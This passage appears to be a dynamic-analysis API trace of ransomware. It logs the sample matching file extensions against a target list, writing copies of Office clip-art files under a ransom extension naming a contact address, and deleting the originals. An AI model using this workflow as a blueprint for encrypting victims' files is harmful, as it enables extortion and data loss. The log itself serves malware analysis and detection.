68 [0229.291] lstrlenW (lpString=".dbf") returned 4 [0229.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.291] lstrlenW (lpString=".1cd") returned 4 [0229.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0229.292] lstrlenW (lpString=".jpg") returned 4 [0229.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.292] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.292] lstrlenW (lpString="AN04326_.WMF") returned 12 [0229.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.293] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3348) returned 1 [0229.293] CloseHandle (hObject=0x3bc) returned 1 [0229.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0229.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.294] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.294] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0229.295] GetLastError () returned 0x0 [0229.295] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xd14, lpOverlapped=0x0) returned 1 [0229.297] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xd20, lpOverlapped=0x0) returned 1 [0229.298] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.299] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.299] SetEndOfFile (hFile=0x450) returned 1 [0229.299] CloseHandle (hObject=0x450) returned 1 [0229.307] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.307] SetEndOfFile (hFile=0x3bc) returned 1 [0229.311] CloseHandle (hObject=0x3bc) returned 1 [0229.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0229.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.313] lstrlenW (lpString=".doc") returned 4 [0229.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.313] lstrlenW (lpString=".docx") returned 5 [0229.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.313] lstrlenW (lpString=".pdf") returned 4 [0229.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.313] lstrlenW (lpString=".xls") returned 4 [0229.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.313] lstrlenW (lpString=".xlsx") returned 5 [0229.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.313] lstrlenW (lpString=".ppt") returned 4 [0229.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.313] lstrlenW (lpString=".zip") returned 4 [0229.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.313] lstrlenW (lpString=".rar") returned 4 [0229.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString=".bz2") returned 4 [0229.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString=".7z") returned 3 [0229.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.314] lstrlenW (lpString=".dbf") returned 4 [0229.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.314] lstrlenW (lpString=".1cd") returned 4 [0229.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.314] lstrlenW (lpString=".jpg") returned 4 [0229.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.314] lstrlenW (lpString=".doc") returned 4 [0229.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString=".docx") returned 5 [0229.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.314] lstrlenW (lpString=".pdf") returned 4 [0229.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.314] lstrlenW (lpString=".xls") returned 4 [0229.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.314] lstrlenW (lpString=".xlsx") returned 5 [0229.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.314] lstrlenW (lpString=".ppt") returned 4 [0229.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.315] lstrlenW (lpString=".zip") returned 4 [0229.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.315] lstrlenW (lpString=".rar") returned 4 [0229.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.315] lstrlenW (lpString=".bz2") returned 4 [0229.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.315] lstrlenW (lpString=".7z") returned 3 [0229.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.315] lstrlenW (lpString=".dbf") returned 4 [0229.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.315] lstrlenW (lpString=".1cd") returned 4 [0229.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0229.315] lstrlenW (lpString=".jpg") returned 4 [0229.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.315] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.315] lstrlenW (lpString="AN04332_.WMF") returned 12 [0229.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.316] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4296) returned 1 [0229.316] CloseHandle (hObject=0x3bc) returned 1 [0229.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0229.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.317] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.317] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0229.318] GetLastError () returned 0x0 [0229.318] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x10c8, lpOverlapped=0x0) returned 1 [0229.577] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x10d0, lpOverlapped=0x0) returned 1 [0229.579] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.579] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.579] SetEndOfFile (hFile=0x450) returned 1 [0229.579] CloseHandle (hObject=0x450) returned 1 [0229.583] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.583] SetEndOfFile (hFile=0x3bc) returned 1 [0229.605] CloseHandle (hObject=0x3bc) returned 1 [0229.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0229.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.609] lstrlenW (lpString=".doc") returned 4 [0229.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.609] lstrlenW (lpString=".docx") returned 5 [0229.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.609] lstrlenW (lpString=".pdf") returned 4 [0229.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.609] lstrlenW (lpString=".xls") returned 4 [0229.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.609] lstrlenW (lpString=".xlsx") returned 5 [0229.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.609] lstrlenW (lpString=".ppt") returned 4 [0229.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.610] lstrlenW (lpString=".zip") returned 4 [0229.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.610] lstrlenW (lpString=".rar") returned 4 [0229.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString=".bz2") returned 4 [0229.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString=".7z") returned 3 [0229.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.610] lstrlenW (lpString=".dbf") returned 4 [0229.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.610] lstrlenW (lpString=".1cd") returned 4 [0229.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.610] lstrlenW (lpString=".jpg") returned 4 [0229.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.610] lstrlenW (lpString=".doc") returned 4 [0229.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString=".docx") returned 5 [0229.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.610] lstrlenW (lpString=".pdf") returned 4 [0229.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.610] lstrlenW (lpString=".xls") returned 4 [0229.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.610] lstrlenW (lpString=".xlsx") returned 5 [0229.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.611] lstrlenW (lpString=".ppt") returned 4 [0229.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.611] lstrlenW (lpString=".zip") returned 4 [0229.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.611] lstrlenW (lpString=".rar") returned 4 [0229.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.611] lstrlenW (lpString=".bz2") returned 4 [0229.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.611] lstrlenW (lpString=".7z") returned 3 [0229.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.611] lstrlenW (lpString=".dbf") returned 4 [0229.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.611] lstrlenW (lpString=".1cd") returned 4 [0229.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0229.611] lstrlenW (lpString=".jpg") returned 4 [0229.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.611] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0229.611] lstrlenW (lpString="AN04384_.WMF") returned 12 [0229.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.613] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4996) returned 1 [0229.613] CloseHandle (hObject=0x3bc) returned 1 [0229.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0229.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0229.614] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.614] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0229.615] GetLastError () returned 0x0 [0229.615] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1384, lpOverlapped=0x0) returned 1 [0229.638] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1390, lpOverlapped=0x0) returned 1 [0229.639] ReadFile (in: hFile=0x3bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.639] WriteFile (in: hFile=0x450, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.640] SetEndOfFile (hFile=0x450) returned 1 [0229.640] CloseHandle (hObject=0x450) returned 1 [0229.641] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.641] SetEndOfFile (hFile=0x3bc) returned 1 [0229.645] CloseHandle (hObject=0x3bc) returned 1 [0229.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0229.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0229.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.647] lstrlenW (lpString=".doc") returned 4 [0229.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.647] lstrlenW (lpString=".docx") returned 5 [0229.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.647] lstrlenW (lpString=".pdf") returned 4 [0229.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.648] lstrlenW (lpString=".xls") returned 4 [0229.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.648] lstrlenW (lpString=".xlsx") returned 5 [0229.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.648] lstrlenW (lpString=".ppt") returned 4 [0229.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.648] lstrlenW (lpString=".zip") returned 4 [0229.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.648] lstrlenW (lpString=".rar") returned 4 [0229.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.648] lstrlenW (lpString=".bz2") returned 4 [0229.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.648] lstrlenW (lpString=".7z") returned 3 [0229.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.648] lstrlenW (lpString=".dbf") returned 4 [0229.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.649] lstrlenW (lpString=".1cd") returned 4 [0229.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.649] lstrlenW (lpString=".jpg") returned 4 [0229.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.649] lstrlenW (lpString=".doc") returned 4 [0229.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.649] lstrlenW (lpString=".docx") returned 5 [0229.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0229.649] lstrlenW (lpString=".pdf") returned 4 [0229.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.649] lstrlenW (lpString=".xls") returned 4 [0229.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.649] lstrlenW (lpString=".xlsx") returned 5 [0229.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0229.649] lstrlenW (lpString=".ppt") returned 4 [0229.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.649] lstrlenW (lpString=".zip") returned 4 [0229.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.650] lstrlenW (lpString=".rar") returned 4 [0229.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.650] lstrlenW (lpString=".bz2") returned 4 [0229.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.650] lstrlenW (lpString=".7z") returned 3 [0229.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.650] lstrlenW (lpString=".dbf") returned 4 [0229.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.650] lstrlenW (lpString=".1cd") returned 4 [0229.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0229.650] lstrlenW (lpString=".jpg") returned 4 